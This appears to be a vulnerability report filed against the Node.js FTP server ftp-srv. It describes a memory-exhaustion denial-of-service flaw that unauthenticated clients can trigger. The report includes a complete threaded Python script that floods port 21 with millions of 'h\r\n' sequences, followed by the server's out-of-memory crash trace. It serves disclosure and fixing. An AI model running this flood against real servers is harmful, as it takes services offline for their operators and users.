The memory of ftp-srv can be easily filled up, causing ftp-srv crashed and Dos threaten

[AAArdu]

Description

Hi, I found the memory of ftp-srv can be easily filled up with a lot of "h\r\n"-like sequences. It shows that sending a long sequence with a lot of sequences like "h\r\n" to the server can easily make the server's JavaScript heap space out of memory and make the server aborted (core dumped). It seems there is an issue in memory control and command process. This may be a threat and exploited by attackers to do the Dos attack.

A similar threat can refer to CVE-2017-7651

Note that even unauthorized accesses can do this.

Environment

docker Ubuntu 20.04.3 LTS

ftp-srv (github commit 18277e9 on Jun 28)

node version v14.20.0

Attack simulation

run server

./ftp-srv/bin/index.js ftp://0.0.0.0:21 --username username --password password

run attack script

the attack script (in python) may seem like

import socket
import threading
import time

ip_address = "0.0.0.0"
port = 21

payload = b"h\r\n"*2000000

def send_attack():
    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect((ip_address,port))

    soc.sendall(payload)
    soc.close()

while(True):
    for i in range(50):
        t = threading.Thread(target=send_attack)
        t.setDaemon(True)
        t.start()
    time.sleep(1)

Result

the server aborted (core dumped) and output information

<--- Last few GCs --->

[103:0x620cf60]    35080 ms: Mark-sweep (reduce) 2046.8 (2052.9) -> 2046.2 (2054.4) MB, 553.3 / 0.0 ms  (+ 0.0 ms in 12 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 557 ms) (average mu = 0.171, current mu = 0.015) all[103:0x620cf60]    35627 ms: Mark-sweep (reduce) 2047.6 (2056.7) -> 2047.0 (2056.9) MB, 545.1 / 0.0 ms  (+ 0.0 ms in 18 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 547 ms) (average mu = 0.091, current mu = 0.003) all

<--- JS stacktrace --->

FATAL ERROR: MarkCompactCollector: young object promotion failed Allocation failed - JavaScript heap out of memory
 1: 0xa3ac10 node::Abort() [node]
 2: 0x970199 node::FatalError(char const*, char const*) [node]
 3: 0xbba58e v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, bool) [node]
 4: 0xbba907 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, bool) [node]
 5: 0xd76b25  [node]
 6: 0xda74be v8::internal::EvacuateNewSpaceVisitor::Visit(v8::internal::HeapObject, int) [node]
 7: 0xdb34f6 v8::internal::FullEvacuator::RawEvacuatePage(v8::internal::MemoryChunk*, long*) [node]
 8: 0xd9f68f v8::internal::Evacuator::EvacuatePage(v8::internal::MemoryChunk*) [node]
 9: 0xd9f908 v8::internal::PageEvacuationTask::RunInParallel(v8::internal::ItemParallelJob::Task::Runner) [node]
10: 0xd921e9 v8::internal::ItemParallelJob::Run() [node]
11: 0xdb5450 void v8::internal::MarkCompactCollectorBase::CreateAndExecuteEvacuationTasks<v8::internal::FullEvacuator, v8::internal::MarkCompactCollector>(v8::internal::MarkCompactCollector*, v8::internal::ItemParallelJob*, v8::internal::MigrationObserver*, long) [node]
12: 0xdb5cec v8::internal::MarkCompactCollector::EvacuatePagesInParallel() [node]
13: 0xdb5eb5 v8::internal::MarkCompactCollector::Evacuate() [node]
14: 0xdc7eb1 v8::internal::MarkCompactCollector::CollectGarbage() [node]
15: 0xd84178 v8::internal::Heap::MarkCompact() [node]
16: 0xd85c68 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]
17: 0xd890ac v8::internal::Heap::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
18: 0xd5778b v8::internal::Factory::NewFillerObject(int, bool, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]
19: 0x109fea0 v8::internal::Runtime_AllocateInOldGeneration(int, unsigned long*, v8::internal::Isolate*) [node]
20: 0x1448f59  [node]
Aborted (core dumped)